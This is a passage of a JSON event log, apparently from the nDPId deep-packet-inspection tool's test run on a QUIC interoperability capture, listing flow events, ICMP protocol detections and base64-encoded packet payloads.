5fcX7OoNql4qaH5tgUcAKTmfbm2Rny2woTB6j6YC1lH0CTq+8yvsMUtLcbQZpIVgD2w91k\/DHu\/rqh55qa43XObRLAN1Cas7QHa1faPFa7Kyh\/Dx\/uu2xJFLfWHVfeKsvw4nX\/4k2v0Isffs\/nVZE\/mcAdyEmoN0MJ38PQMKNvx6iNUa45euWiJAQh0n\/9FPVkaW3p\/pu55m0RYAv15pyglEYDeOzb9cgqoBOBFbL5F17NfFlR1TUtETcnCdxPpozDGGzr8327bzSnjwgFfcwdPtJKYxjWOqhjxgehtiPwt9WJP1lnTBRJMRI29aK4qFwi9tCw=="} +02103{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":794660,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAVgBAAEARrFHAqAGAR8opqcRxEVIE7DJpzAoKCgoIvbmHXcmpQ\/MAAETSE2e30YHkAX2XVfEpCGfOjyF840fDKozk89FYV10qOipSbcKfBwadYKaP2PDi2A7GqANLJXLXd1Ra2Q\/d2lyOKDnoc8x8gM9WzcPPQTUPx43cTsdSrSCDxUnpnuaj6yGd2N3XRIkY0gYWRPuFX7h\/fh1NFO2iAOlIL6UUnbjkaQBPj5+DK9Tkt1jAUKuz5C\/VX5NyeiPZztoZxmFEUkRFMohO0yR1d9jvsEZjpJxu1T2xxVadymVUvn+nPUj7gyxMFoi5gdzyUkI6qww5VGYT9o89cKQc7vz3RQ1j5HNSltr8teBgazRyqIezFwRxXQZzC0mfyCRRks8zmpYilpgAUrd6iKSrwI8xpH1mLLYEiIEokh7Nku+MJsQdaeXhqFHBdzmvpP2d5lWx83GgFuE+Dkn\/A4rNg8OLbx8Hd749+SlXxx2p\/3FSVDsm0u8FwDQ0TGJxo01kEWYz07BfKbG+vmnmpdKMZ0c+mcf5\/mMTkSlmCtsSWEbhtyGBpHj6Gp3P\/PHHW6qpxotr0bYpBtsptMaDfY0LOv36qEIsdtyoyFrcuYBfxE2rbRJIu0Oe5vS9+mDEauvlYu+hTOBWRYf3GYbB3IuMocvdH3ge3fFDDBDMar6Z4AzQD3wB4++BlRSMJ4Op1PtaLNuhvgHr+zWIE03DBlRJ+VplDnanX09JNXhTwH3H+AjPz1EvGjgEK6+YfNJQaFV7U9mDD9Ruthi3HVvk8\/fOat3XDJUwyHcciWPLz4ceNf3L7rSem0SlSz\/9sPlFDV+6MnWDTjz2MgYr10nBv91OfLa6dUBNOUc77cMVlTY946uEOebqDqBU6HTwpDrQQPOhfekx\/cwyHgX1SPiQ2jm0cco9gMyY\/biNH5Ae0kYwjthPOjVJSM3sD8k6twZNkrRaDgELJdCga8uI83ZLsJc3njlrx+9GoCKhJeSUcJrXmCVv5wqbYrzBtzlNPONszxo+vENua67+NrZXgrgkQf3D5vueityfehPXawW3uctYARfHo8es3+9km4o77SaJb+CNNegl3uhaafpl6DgQ+IXvsGebd9bGzfvvtGEjqvC8yYEyCoMopVY8b6KF028XUOHjcIIrxB9oRWGWX1t6qcAtpr5\/re1at\/9am5lVA7Gd9Xl3d+sVGUgFor51U\/E91\/+E5M5Qa008RYdjk8bxHdEi5qflOIKkQWLgH2ptDuy4K34mY60YaJX9MzZJHqAGBiOJyz2vC72RgiQqDDvCwlaJzHF+wCxLSno3fJNj+SzLPPJvdkMYQcGDVNBzW9gLntYHCPYZmwYktaxLJE5kbFfSUHtFwGEgRhMzIViDRf0rfOdiTfn8q1XUwHnBs2i86bgzg+ASxD5k9QGSx0i6DQMqkcfTxkRGAof6BOxVRYc9567BYEdhO\/\/6PdEmvCY3IgYkogHWhz0bGjMlwbJhFZn0\/rOkfEZRLdzHN3yIdh4NhKhCdUPWLn5T0v7ILIVw+5EDKoGAZZ6+44v3WJA9M5YTPJa8YeOn2nx3N3YEQRsjiBBWJmbxBrqvM2C\/FaZgvmTqe758ClWLW0UAseHM27RoZnUVhDYxYjRpjAi\/X3AjK7Y7RKIDkLHbl2y5Bqku+ZBD8\/fxJnSy0Fo82DtOYzY3K0yqjhL16Ji16juysw=="} +00473{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":802819,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gDen3ACMRMCABSAB4FwEBvnZO\/\/4EYx0gAQsHCsnVrqTT\/kdpHoB9EVLCfAAjD9qPAAAAAAAIIsGdLtPZLyX\/AAAd\/wAAGxoqOko="} +00459{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":108,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1603816434806,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"202.238.220.92","dst_ip":"192.168.1.128","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +01147{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":806510,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJA3rwAADIBPo3K7txcwKgBgAMDrQAAAAAARQAFAOUCQAAtEfp2wKgBgMru3FyV3hFRBOy8bMIKCgoKCDeSrwfZ37epAABE0hxlYo43miI9fcBT4NXlNvUyuqRzjALgZuz5ZEFwqFAJHCLIyiKMek3pvG1TfFtz+5dPcMlRmn1CpjYaJxtvjy1D8CXnaCGG32gK7yv0bsGVDyQR4j6nJT4\/BgeG5XzS2QksROzvNGVoOiM5mh9Gcivemi\/Ltw3i6ZMLxPmYmJjzRy5MQrmw7yWShK3Q0gjXLf\/AtAzYy4CwwNnnbu4HeZWuRph4yFsqigrFQzQiWW5R3FQS9VXQNOqcmpoWiLrZR6ybbeDMER5x2lrIuMbSZiBdtZBwZCB3UjQ8D6WXWUDqOreiLaatWU6Uu1Td\/atS+bPWsWkMIdZrEKUJ78RDCkU46YaC6J9gteAdBR7kDvpyMncXYbFq+wnVLl7bEkkrsFjuC3evFwokMfctXgYgQAfhg9lrv5W\/V8C8b+SLLGJ1OLOrQb7nrBWiHG6ErtKg2rmOgmj5TlcyL7QCWDLLcB4wY4DlINVS1W1uHvEQAamMqwBYJNWP\/j7R3\/z2LLwmYTggeZKmyJokcN4daQ+u2GrxKAd9n8ootJ6q14bjsfNDrGHdfa2X78HqV8e67EzuwM679YHyVDVcjdxmRT1W7vvW2odG2VW9n2hGz7F7x1SewA4VbmCgaMBt\/706B\/PIDrHOTJjIgOwT5HqHFLiW3qe6lZFlcg8="} +00491{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":108,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1603816434806,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"202.238.220.92","dst_ip":"192.168.1.128","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +01156{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":806535,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJA9\/UAAC0BNJ8znmliwKgBgAMK13gAAAAARQAFAGANQAAwEYa3wKgBgDOeaWKq1xFSBOwXccwKCgoKCNp6o2ufRw8jAABE0iMFIf440snHtaQbpLTAJ\/\/X0Fab87I\/F+H+s8yGuc1DMj7IRCVccfx4Cactg6LpwLVqjp+zMpHzZNYgE+iBS5eSSQ5R1VIB3pIpWgR10BZu4jbgQ9OaBdQdBe6vEK8fOHQlW4z6tk88yOBPCZ9MOnhihM498wDmMjf47XEsFDB\/7XQLydimXkVgGcIAWfjRxaXaSbJMTKKvAYms0ejZnQnA1ViSWn1r\/yep9jMB4Ha216Bw+8\/bwb+zk8NWbJkU1joIp6LywbS8BKMNdkB8CvtxCpRm+uw4pI4+h7Ir2vhBxo8l109zWnww9jHcvrRJCAiVTzHX0IEoiynIkV5hfnomioZ+rfmWQ18DCMdbTm0g8xPqOvlcFJ4riKg6eD9T\/06FbQ\/gfMez3fH3QaSeBi2r\/TOHCN1q7d2RWFd\/zfCVFlJ5yK8kQ\/oLJ\/FOsWcUoocGzw5wDW2ZJKlMLUQVjXb6yA+tyXiZShAlzoYqYN0T4FvgLVOww\/BRgkMCtO+yhyv+IhNBUZ7HwVrODYj2Fkrg4imzgs1D4nwXIka\/LTCNZAzA2HaoTn\/7dnEMFUXWjYgl6Vcr7VmuvChO2Lk2W46SOWZvSzgpXd4SdNTImeyxURq7mYLuukLenDSue9Jo+fNHodI6Y4FhBpA6\/I5BPKpcZmf\/iYU="} +02108{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":806673,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAlgRAAEARiNnAqAGAhfLO9LMfEVIE7M5rxAoKCgoIJ05Q063kdsUAAETSbVS8wmTCayioaeEDJ0E7Ag7cjypWJklnY03J30b1mdxIVOpIcCjzHgeNDAUeVGYchax6RLhjbFwwP3C\/qxh1OO8O83qldI1OYg6x3GPEV9dhbYkGdVcPi3mfVEvzh3eS8WnvbGq3a4H9q5E9mDKl7buMufgYFu2sl2hZ01ag0mTo116H4e6bMaTreq2mI8kmjdhWNv55TN2Tbo0qvafHS0QviZ2QSLwEnQh4J+FGfyqh3grvQtfWOnpdR8XEyF6DDe7LL\/KlLa4NwBuxumU\/mO\/SIZ8t8LmkA6HXglfpy4tEgA4X4H4bW8fdrEeEGZwPR7eDrKq9RqBC5oKz7o\/7sHblT4DHTu2jye83jOCQIrWBGQDr5qMowkCj2D+qE7I8qnehPTO3H56afZrW0y49JxTPEZjoHsKNr9nvjAleyeYuaG86WZoQwGHWl1q\/do2IozVSEZwB4ZhhqabxXQE\/bLsaV5zpA9VarwnHFfuqnigS8SW0VNHxqwF42AsxDhJ1ZhApy7feoO0PJvvB2oMY1tQHPKfitH7JeAITAfnhaBY2YdONDcZk5oBrPbcpcIaGvU\/fGwgBQ3eir6s7iNWqBonZzNxwiJDZOCaLqzesvSlVLwJWfVmI2gbBdEGORyuW8xbxQbWWWdwZ2ECu1W5iPFYWZNmDQ5+p+xP+v2p\/q9Zri2SEgtxNFAlFqBgYJSEcW+nfhelld\/8X+b4MFcnpWATco0d+cUaZqJ4oe\/SV5lTkb+r+kBl4Fi8vLnITjPgbX+wBQtuHCeIhIpPSGbKfX0e3KDUQANebIeZRTrYcajrn1fFRlg2x0mgRQZE3eh9zOE\/6NevPmRKd3whKrB4OrWwNw\/SlNsbpFrYxTvS9sFHtHn\/Uuh9Itnw6lb7ILr8jkDVyk4MOLQUBCbcYUCUwkQa6hAPdxDGJGAORwPlVdN1voToAmZpSEQkdedqob3cIiQWZE5mZWy5zSP4b+LhOHf9ORwzuNzfdlhFMGkZsYkTm4i9Glf9wL0Xp7g4iBWo1g\/ERgUa+jz9aU\/5pM9Q2WKNxTb0oWtxniWBS8Lxmsp0IiDMHvpKQ3FN7FMkHusFent8sdfLu8GN0db\/htJ0tYyNHKrn+\/ukQfcuGZu1CZ8pcapnxZCaWzdysytGbuUF0sN2\/rXvBKbrUoGOi\/yQYHoSWzZe4tWPuiFsnEL3ZfeQW8rimwLD7SocitIb0a8vtHdDj\/GmOBVkGDMBGCNjj8XxF6Z2FQBo+4oYwGZuGhSsfMXRlNNFIfFsIHDW9OAdCunv3+x5JsDNF8ukUbcH9anX6B8hHXxQel+qabQ+aJWYsgcN\/hIaoFyjxqHkiZZ0o818BWeuCXCM0HKhfsQvXHf4ucJSBS8pc2EzJ5EUcQ\/dllBKRQbIrXCSSmkQFN4Gab363GSeUDA3rD\/GBoK5b27D4o8WAAnT3izN4JAXB+H9hgMX9A0cMJMRRasU585OfR07ntlSr7v2dExw66EL\/j1gd3QFNGbnOWToZJQicIfGV\/RtMUnXQYizsWgjoqWOPbw2wWrCqJhhbkxH+WHFJq0Mlwe32rpddmRI7+CtcRWBotdeJJ3xxfL7AYrxPw3cctN1iTAucOHdUCyCwYu\/wN2z2Li9nrj7J9G4sQVWMiuNy4Q=="} +02103{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":812388,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAqqBAAEAR4XfAqAGAKHC\/PNIfEVIE7NGPyAoKCgoIcBuNCNTaAX0AAETSdrPs58Nd4whderbUQKKE9lqbT2Q5dWXTzCU30Nuk49rwMOYzrP9hqurmfQzCfogq7GSDP2MPa19fV3S+tzaflHzUKhrCPd4WQ1zA7H6cNQz\/lRUSpnQOWA0uQAhhAk+IZiglMuTPFh7AnCe7BzheAkGio7m9ekHUnqgl2NpmpwBBQY2oKhqJXzck7whQvip39IREDqyYyokoeQbGf08lhmJrRyewd07SbXyZCbXrujwWAH9r0NguWbmeWQiWcLTQKzzy4g6sxprDxKvBtQqoDYhvf3TyqAO0JNQb6gL5PnsCQpPHeNU738v6N2EJwaCYld1aJc1nCH2E7UBhR1ArdPBQvdD2ti3qSdfkpRxzBao2iX1sHBqDyALe5QD\/8T0uZDT7mlUSPcUSCQVDdwUfo1H5Gw1rANt1KrnL+D7EeJEt30JdQogzd+25oyRRh\/N33koVbRPkvhHtyEiSOAqUcF2k5Cww7VSNAXDrSWJ3nfwrxyNNGcTk1vbfU9FQjS7xTsCs1DcL3tIwTh\/F\/WqE0Qefzo3L9DVZUBF95w+x+NrXTVfTMFyerU2W9IiTbdFPifHfNydqoB4UA6KdAkF420byZMA9uYn1eronWwg6zZLfNiMThXS7INZHCSmquoQM48twpJMiC8QLa2BKxvBs5MAXCaES3COreo36bEsm9T7MBNPrIFP83x9oS3Dwv962KtUHkL2c7dl+XXAGkrol0zp9I4duf7jIdkEwKt6bINytvQ7NOpnpqMe2V\/od99AzLNPugOYXhVlxSXXrKEIlIoBOH\/vFhTYqHBMHhKDUlY83Lqn6rlae+5ldEt\/PYxQqh9RlSvlTKizFbfa1Pqv6mluoxnZYLP\/Q1ytoMX++Rq54VSapX63zxer6E2Fc0D7Z6VXClsXzgGzvHubNlFS8CT4jYJOejwFK\/O29QfOBILbMoFfrRtMOMvJfvtl8oUyriiHZ+EYZfkq6QJnQfCI7a6a+eQggExHpUAScmRSiTG+IYeca3pfV6WTNGjJdxkNLPzA1Z5SNnLP6zTKrtTQschUTrKbBMGzeDxKanuLhkyCaGkNHJ+E9jo1kVSKyouGn1Xz0RovKIuTZdoKvIiFgJRBRTx8b8VxdFjPJBtQkuwYKYuNAT\/hv6yiy\/pQHRSFz+yZmlAIEJ6DuwyjItKkBePqNsaDsx8Am8smaYhsjEC8vmWFe5WEi20pG0HiVg5O5kSIY5y\/ziwUKkKhqlYGirFSKeTAYJVJpGBDrmIOk\/QXL5fYdpveFiq0l+piS3JuL7TGHxf5NvUDjc8PuuHAyslhM7YLSZqEKmlqBzNKi4Z+4Im8\/q3Qs2A9hPYC\/n9KxnKOeVVg7MxmNr3suDiWJ08nJtK7eU\/3Dvj\/ONoqM5exqmHYkJmeB\/i3BYkfgX807asMnZtideGvH\/mPNTuLBycK5oBic1paBSf3T6UKDwFomFMK4zRvQ2RTDSsREhwoKBAz9DUi22uSOarNzx4IBJQAnBsKlI7YkUFuQf2bHXLeTlc3sjH22aTbkcpuNQVPhD3jsXLo+uLTFSabB0ejUHrkQJu7N55kc5Hjl\/l+it9+skmXrEhRgrnh+Crc2M75SVQkMGW4nqifvwIUFkprpgBKS3scwqrMQ4XMu9+qfHYRTYA=="} +02098{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":815809,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAv\/VAAEAR567AqAGAwb4KYuh7EVIE7CoKxAoKCgoIhDOd38iF14kAAETSuj\/6PpYLanmhufRbzBfIfJWqpHveuI64\/eSlK93oC4y6GPXD69PeaFagOPTyFkLIpcEu43y7OCQ1Z35Isk5hak2XHZkMptd7KrQ0EFnJR20xJ\/8s4Hh47hOyrjz0Tb8KAyxJMBwDu01llmEO1Z0EcUEdsorSKLQ\/VLYtmHdEq54kYxwJK6cbambFBrjQfMNHN\/UVp0rFqJczDmgAC1L2e2MT22BlqqRvoo0urlHqeJYQ0fzf9Ma12psTRriGSLqomnfjAnDrYcUuJXKUNEdXIMo0IvCKK8Z2qE53aAwCfpEoAKMk5gq0fRGK85o3RF+aZZt44gpgPnPnQ3e3amJGJyTfNiB0r1\/n8TxhrJAQSkdTnqq4YW8ifhktYPIg4kTB2ijlN5mXKs6fM7HXB7edk1jJ2vRSPS\/Sd1iJC6K7IVGG+b05Hvoqeh26GxYLnmUShKxodNsm5bqP4KQTECZRHJGO5bC3iH2e9AmHFRtcJuV0TEnymRBdJso15Mw5WSKs6MiqZOUVTNhH\/pBSIvkiB59cpoQ2kryiNnrZYHeBm0GW1xHBJINLpHgWU+YOcS01DrnAzJKiAR++TsJqZLlDgEWdgltoevZ9gIp62LQq23k1aN8sOGWxJHB6SR2oFKCim70PXdVeVV2H14toHpbqvnGJ5OQ5TAo9F8H1kILTASoi7zMbCXU+ihgxAsvPHQ0ma57WHD5eEfq+qwnIiOkWrwxRNyE378pWGBYwI8oYScRtd2e51pW5YbrsHNUZOF1BRwr4kRNdeYmvBnBCWqp1oBtltIzrn\/Gfcg3DcXmKdv+wNqmSl5ckBYOsYJvjs7+A0lZkaQsFSCJS6cHnp21uzZtbuJMxnGuFlucbDvkJrbZFiIDRi1zfBizG5xYGqI2LuZiKga47IwNdNLC8VwTruNg1oItufwg14MMC+X8kARERXQPJMtpnlcPMl3ZXZ+eP3TlPgYKElfm8xvSbmiMo\/gyHVDPysxCqGIaONg8hr1XRFRbXCrsQZqBHdR1BEHr2erluZx33TA9nEW4ljFgCY54FmKcPcThHKkex0pfCGVG0rDwn5CMiYlKCqMkq82agukv3RtcLDwavHHxrRJ4GFUlIajj9luP5Su+tOXWCKfvD7RL2peHKYq0oE1i9rkQ3J+6rPx1pfTLMCYUSGyR2ULLEVyAXotaIxy15QIlAlmWMZrgC+hXiaIxq+hUyINFVkc4FAkBBRAU3EDU5yTv1VQUZR++HeJPUvDn0Ly7STUB7C9GMGsanejmwI9FYR1azwvEiMPzo62YRjgMbM2H450bCbY\/ihQkhW6vCoJACsZGMust90L1tttL0aGDUuM2ekxmmP2SR2XGKJhksWGNk4Qk8NcSbtQGw4rBlTHKDoA+TNa0noiVD30cGIgXZvR4LzxoKJTHmmdOUfJnlbktOUO+L10wT6chVbloEO7Gl6LmuuY63cBoGIu\/9oxZ1fVnf\/qtqp4c5WdmDqlzryd3pEbe\/IAUHs50fQBLfKzcvYMcdoYWKI2XujLzx99HtpnCDcHHfIGi2GBE7lCFUhpHVx\/3REbGwPNIrR5hVqLd9oAN0IWu46FpJq5LdwUTeovYvLw5NA\/DiXOdXc+4fQx+cmbBq4bCo5iPDOTurjVG+AT6KDA=="} +00458{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1603816434818,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"18.189.84.245","dst_ip":"192.168.1.128","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +01154{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":818859,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJAOvYAABwBN+0SvVT1wKgBgAMDupoAAAAARQAFABYUQAAeERf\/wKgBgBK9VPXVKhFSBOwZ0sAKCgoKCEMxhVUtcFhGAABE0qWeLu1BQPCrvaqmOZLxcjaUsYk9VVde3D76gcDL+4IVysNvEgASSqVVEGYaLPIGcbZ3HxJwj7UTPMN9ktHDGQ7OWCRzA6fqhalBV5YwIQEg3hVGDI6qpqitsVwDd8\/MN70IjnRYlLSnGFiFQz\/+37tcMd3B47Z3XUJqAC2gmAtiiG7FB9bVCqu70\/\/gVbe+y8Aiq8lY3pgapL115bg44IU5ONIr0kPIychpXhB4nGil5WtRlR+PfDZaCteJDe8INKJO7W9rCoQHxbJrdHcgp7qNCAvNvwYE3E7IaJzWzZ\/MoUUAYGiQDU5QZNqlmNLsfw7HRz7KL6RKhXKo6arbCoyf+aekhlzkYvXUC6YXLfcX9b\/uhdcExVVj3t3h3bEjsqfwcBC2sK\/3+ftXoClqu\/uJmzlR\/hQg2UZDVSBch9t4LjNi+WntvWr6v5Vi\/KVQ7U43\/Gm4H1rcanEorBOGJAHhmqtXhOThueWcgpRyjQ5+C\/V2Y42zfQkNRgnvzhVV6TCNj3xIlnBpiCnjYGEauIM5QGTgy7j1eEARKu2SqfuTVUmi6oEn63B+sVeMBPtI+6+VRIb69rup\/\/2zzUrMqEGl1Ofqu0NMNJUBI++5TMEJqz8PBpY7++PNBvTXVMJHf\/6eUtUbUHVIf6h+Omvu2jYTq0R6BWM="} +00490{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":113,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1603816434818,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"18.189.84.245","dst_ip":"192.168.1.128","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +02112{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":820874,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUApCNAAEARDmLAqAGAjOM0XK5LEVEE7GREwQoKCgoIlk3\/sw8\/b8wAAETS7HTMpNcxINQW3ZN+iCGS1z1IAElwdp\/JkpB1113BzMoCCRTe4FQcqzRNlPfFUuL337y9c\/m0xOQ2BSNabPaJGHp30QAKNdTWLRiE0u0lhDN37WkJ3a18g080qiPj3NOKBzBb6Q2R2eP+Tu5VAgK0JBnSSQxscnBGZYx8erjfdk\/KfB+k80tJ23vgNCBrw5\/QJHyIKFr6T5gcmaoduB6MP68CbMsVTh+UudjvNuCb47BBuKD37H0qZ3vrzszhEdCnaBPaTgDC+BRg\/7zjd8y+\/IMXoc4lcJ6yCEUNd5PMsCArc8JfRjxmtTjKsNnWLKbOCz7De91KYHmwGYzaF+m0hYb600XnI1+GfBH+Yt7Rmih6ZJFb61s4n\/p947s86kVOIDjkRzXFc5rj\/5TsZlNwMgHK1trFOYKfIQD\/nGNPAy3b1yszE1t6bon4A+5+sfdvgO3Pb0vQv7a2RjiEoNWsOgLHHYRaOns5wLvhGDh7p2oiwYoA0dOQULiPA3oPFIYn3l5BexqjNtcP9rDwal7aPEC5NULq7Zmi8SqPrNQKrHxduW\/ejURdhLL6oGYtylwTjf6fFdLzV74euKvQMJtzqOmUVsGs7ytHwIW0zUSVdcXZXNdfHTIBhQmt1LEXywwM9sEku5ONFT5vw3iqnJaeuQ3Z9RVWM6JVZBIIyhtRHSHLMWoMYyVHbzNHU6KHtgRqx4XiFpODAS4ZKLu+YaxH\/jgJPdH9GCKqWFOo09L\/MFa9JOyzZTBHgPL9\/n6dV\/AjYlz2WHUbgl4B47TvtoGesKFiqCifWwa9T\/QAs6VqSsxDxakmj9BwRcyJY9Fh+S0GJgfOD3vdFv7r+qe3nnZPXIMdHvVuagTE0AYBONNrKgYdX4Ky4qhLEEd5cE9ERtsD2WvjOGP2X1nIyl6Z5fwtC4lFzD4HiYxcWYOwEoRb4XOLMLjHU1VRqf56Q7VOoNVljrqpfUTD3\/kymwOaOw9lLI9P78KYSDd0ItN84RFi9m1ZATEA4B8xDEQ0xgm7gZL75Bj+DcL6tIj3M5q5t+D3grLTkPWXTTA36Ac5nJ553GrmMeyNqRY+oz7\/jmpae2pHhn5y5a\/JNHh99ySrjiURwgTDidnXFv\/avhfUTEIKYf9vmF1mBR2BjGIWblU\/xSsHPpQooMBCE1pv+edhptbedN01raww3dKDhm8PKg0\/39zcyjrIDUoGuCyt7fcWYxL1rSfHDWFvTo3rOPuLREGMhWKH0rTw1rfsvP7pj9wRWFuq+5bjg1YEYzOa+4ow\/G36iMyOEYXSETkFxk1k9PKRQcdv+hmZ7Yysh6jGqSQYubSckYOn7rzqjXzTbZJ4cVerQWc6vzgu\/f8kKoOJaHeHCNS3S8Ih7LoFy\/3HhVH9BOwbPs1b8AjTnrabB9wJd2L4xt25UkVcDS6dONKmrmw3h\/i2PdMTiY3wE4W1wVKTbunysVPKp2ppBpsra6Hdm1iIJV6HfCSSXwO8AyqeAGhx5QFqNqN2LYiejuoyXFW2FmijSjtLOK+Ec8dkYkpgamnxA4iCyf\/yyvNIxQuF3Qi\/hZNj\/3Ane7tlBEi6cG9xsu3lWfzaAh0Qz\/MZBLCWHCiMGpcbinSxoJxeieJR4hwsH6aIGBBARlcM87JIeY9evAugxQ=="} +02110{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":821128,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gDnzNBNgRQCABCwcKydWupNP+R2kegH0mAB8YIxDSMFEDfZ59dTdPtKIBuwTYf3DECgoKCgiO5tu+VRPaUgAARL4uI1WmPGK3DVcwUtE9UzI\/fGSOKvWUIfYmoO3D6w75gyG6cAgBjzUk1WiaTNGr26SzX\/zj3x5ZOIMX2zmIddjoIJovY\/VksJrC3pfUCteiUGgedji71vrrn0fRMQEFiIkPaa+o8LGRwzZKy8VL3G9cV5Q0+xLvukUHxPfTXr+qeeoAkO2JrC0axiSb2dt+XmaJ0v8nr3ud+va3668mZsfa5EeFafHaj8m49xF7nuzVpSiWax1aZSZzIz6eskzoc+1ob4msOELhchJT5jSTUaY4j8tszC8K1inc5HuVJQLo8TDvFonmdmM0XKQKaWAqfBpL0CUAHrxZaa7bFxHWCI+KCUFVNkIiEsJLT7NG1KiOxkI4gvAPMqLHQoSqFHaylCrhyi1kFotT2StbIZXec2UmPZu2coK0kaliS7gU+LJp4Q8aOd\/VQfT+XwTsJ91oSb1hOc3RVgo0quwGh5ZyNdKZAdfV8mq\/WMkDj4BcFPubTYXGgusxS\/MyTqzT1EFGuLIWfyAbYZyodoA4VbTOGXJwfjifkHUQ+UF72jq+Pt7WCCIYrTBJQnTBEUt2MXfl7vDq69U1d9nIXWmxmxitkWebhf3a424eVpSg7vx40Hu84MnwnUTI47yC+ao94ZGXsWQUy81CB15Bxl9YeNY2dJgyiP+5AD9Mhxzqup58xGvvgfzwiN+8b9hNWQCIXG3bcsVJVlFTJ